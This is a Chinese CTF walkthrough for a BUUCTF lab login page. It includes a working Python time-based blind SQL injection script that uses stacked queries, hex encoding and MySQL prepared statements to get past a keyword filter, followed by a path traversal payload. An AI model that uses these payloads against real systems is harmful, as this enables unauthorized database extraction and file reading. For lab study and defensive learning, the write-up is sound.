打开靶机,发现就是一个登录界面,注册界面提示未开放
点登录也没有回应,源码中也暂时没有可用的信息,只能先抓包看一下了。对于带有登录框的题, 第一反应应该是含有sql注入,抓包我们尝试在USERNAME后使用',发现报错了,使用#闭合,发现返回200
确定存在注入
可是测试了半天发现常规的注入一个都不行(无果。
再次测试,发现在username后加入;分号,返回正常,可能存在堆叠注入
过滤了select,if,sleep,substr等大多数注入常见的单词,但是注入又不得不使用其中的某些单词。那么在这里我们就可以用16进制+mysql预处理来绕过
着手写脚本:借用了一下c1e4r师傅脚本
import requests
import json
import time
def str_to_hex(s):
return ''.join([hex(ord(c)).replace('0x', '') for c in s])
url = 'http://3995e354-0a69-4a15-b449-51b331cb2401.node3.buuoj.cn/index.php?r=Login/Login'
payloads = "ad';set @a=0x{0};prepare ctftest from @a;execute ctftest-- -"
flag = ''
for i in range(1,30):
payload = "select if(ascii(substr((select flag from flag),{0},1))={1},sleep(3),1)"
for j in range(30,128):
datas = {'username':payloads.format(str_to_hex(payload.format(i,j))),'password':'13'}
data = json.dumps(datas)
times = time.time()
res = requests.post(url = url, data = data)
if time.time() - times >= 3:
flag = flag + chr(j)
print(flag)
break
跑出来glzjin_wants_a_girl_friend.zip
下载源码
payload:index.php?r=User/Index&img_file=/…/flag.php